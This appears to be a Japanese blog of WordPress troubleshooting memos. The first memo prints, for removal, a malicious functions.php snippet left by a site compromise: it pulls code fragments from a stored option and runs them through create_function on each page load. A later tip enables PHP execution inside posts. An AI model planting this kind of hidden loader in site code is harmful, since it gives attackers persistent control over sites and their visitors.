wordpress


サイト改ざん後wordpressの表示が異常に遅い

wordpressのサイト改ざん問題が叫んで騒がれている最中、さくらから「おたくのサイトが改ざんされてる」と連絡をもらう。改ざんページの削除やwpのバージョンアップ等で対処したが、どうもサイトの表示が遅い。ひとつのページを開くのに20~30秒かかる。そのときの対処法メモ。

functions.phpこんな記述が書き込まれていた。

---------------------------------------------------------------------------
<?php function page_options() { $option = get_option('page_option'); $opt=unserialize($option);
@$arg = create_function('', $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );return $arg('');}
add_action('wp_head', 'page_options'); ?>
---------------------------------------------------------------------------

functions.phpの場所(オリジナルのテーマを使用)

---------------------------------------------------------------------------
/home/ユーザー名/www/公開フォルダ/wp-content/themes/オリジナルテーマ名
---------------------------------------------------------------------------

問題の箇所を削除したら表示スピードが改善された。
オリジナルテーマだけ再インストールせずに元のファイルをコピーしたため問題が残っていたようだ。

参考サイト:
 
 

「Cookie を有効にする必要があります」とwordpressにログインできない

wordpressにログインできずエラーが出る場合の対処法メモ。

このようなエラーが出る

「エラー: お使いのブラウザは Cookie をブロックしているか、Cookie に対応していません。WordPress を使うには Cookie を有効にする必要があります。」

Cookieを有効にしているのにもかかわらずこのようなエラーが出る場合は次のことを試す

1.ブラウザのCookieを削除してから再ログインを試みる。ダメな場合は次。

2.利用中のテーマのフォルダ内にある「functions.php」ファイルを削除して、最ログインしてみる。

このファイルをいったん削除。後で戻せるように必ずコピーをとっておくこと。
----------------------------------------------
wp-content/themes/テーマ名/functions.php
----------------------------------------------

3.もし2の方法でログインできるならfunctions.phpを修正。

こんな箇所があれば
----------------------------------------------
<?php
~~~~
?>
<?php
~~~~
?>
 ← ここの改行
<?php
~~~~
?>
----------------------------------------------

↓↓↓↓↓

----------------------------------------------
<?php
~~~~
?>
<?php
~~~~
?> ← 改行をなくす
<?php
~~~~
?>
----------------------------------------------

以上。

【PHP】if(0)で複数行のコメントアウトする

phpで複数行をコメントアウトする場合/*~*/で囲むのが一般的。

/*
aaa
bbb
*/

しかし/*~*/が入れ子になっていたり、PHPとHTMLが交じって複数行のコメントアウトが簡単にできない場合は次のように書くといい。

<?php if(0) { ?>

0はfalseを意味するので実行されない

<?php } ?>

コメントアウトした箇所を再び実行したい場合は「1」に書き換えるだけでいい。

<?php if(1) { ?>

1はtureを意味するので実行される

<?php } ?>

【wordpress】カテゴリを指定して記事情報を出力する

特定のカテゴリのタイトルや記事内容を一覧にするサンプルコード

get_posts関数で、どの記事の情報が欲しいか正しく指定するのが大事。

<?php
//カテゴリ別で出力

//get_postsは、条件にマッチする投稿情報を取得する
//numberpostsは取得する投稿数。-1で全件。categoryはカテゴリのID。
$posts = get_posts('numberposts=2&category=3');
global $post;

if($posts) {
foreach($posts as $post) {
setup_postdata($post); //投稿記事に関連するグローバル変数を設定する。the_content()が使えるようになる。
echo the_title() . "<br>"; //タイトルを出力
//echo the_content() . ""; //内容を出力

}
}
?>

【wordpress】特定のカテゴリのみ404エラーになる

まず結論。
カテゴリ名と同じ名前のファイルがルートディレクトリにあると、404エラーの原因になる。なので、そういう構成は避ける。

wordpressで作ったブログのサーバーを引越しした際、「PHP」というカテゴリのページだけ404エラーが起きるようになった。他のカテゴリ、「mysql」「JQUERY」「network」なんかは問題ないのに・・・。

原因は独自ドメインのルートディレクトリ(wordpressのindex.phpと同じフォルダ)に「php.cgi」が存在していたため。

パーマリンク設定をカスタムの「/%category%/%post_id%/」としていたが、これが「php.cgi」のファイル名とかぶるため誤作動?しているらしい。

「php.cgi」ファイルをフォルダから削除することで解決。

wordpressの再インストールで表示されなくなったときにしたこと

wordpressで運用しているブログがスパムメールの踏み台にされていると発覚。さくらインターネットからもどうにかしろとメールをいただき、wordpressの再構築を行った。

その際につまずいたポイントを覚え書き。

別サーバーにwordpressをインストールして、エクスポートしておいたmysqlデータを新wordpressのデータベースにインポートした。「これで元通りになるだろう」ってところまで進みいざ、URLにアクセスするが表示されず。「500 Internal Server Error」や真っ白画面になった。

--------原因1--------
テーブル接頭辞「wp_」が一致していなかった。

wordpressインストール時に決めた、テーブル接頭辞が元のwordpressと違っていた。一致させるために、インポートしたmysqlデータをいじって新しいwordpressのテーブル接頭辞に合わせる。

変更箇所1
「wp_options」テーブルの「○○_user_roles」の○○の部分。

変更箇所2
「wp_usermeta」テーブルの「wp○○_~」の部分。4、5箇所。「meta_key」カラムをテーブル接頭辞で検索するといい。

--------原因2--------
URLの不一致。

最終的に元のURLに戻すのだが、一時的に新旧のwordpressを両立させることにした。その際、新wordpressのURLは仮の物であるが、設定は旧ブログのまま表示がうまくいかなかった。

解決方法は「wp_options」の「url」と「home」の値をデータベースにアクセスして直接変更。
念のため「wp_options」テーブルの「option_value」カラムに検索をかけて旧アドレスで残っているものはないかも確認する。

また、トップページは表示されるが、それ以外のページが表示されない現象が起こった。パーマリンクの設定が問題のようで、設定をデフォルトにしてから、再度設定したら解消した。

SEO的にいいWordPressのパーマリンク設定

カテゴリ + ポストID。
このサイトでも使用。

/%category%/%post_id%/

記事やウィジェット内でPHPを実行するには

記事やウィジェット内でPHPを実行するには、プラグインを使う。

プラグイン名「exec-php」

ダッシュボードからプラグインの新規追加をして有効にすれば完了。

インストール後、記事の投稿画面にexec-phpからのメッセージが表示される。

このメッセージを消すには、ダッシュボードの「ユーザー」→「あなたのプロフィール」を開き、画面一番下「Exec-PHP Settings」項目の「Disable WYSIWYG Conversion Warning 」のチェックが付いてるのを確認して更新する。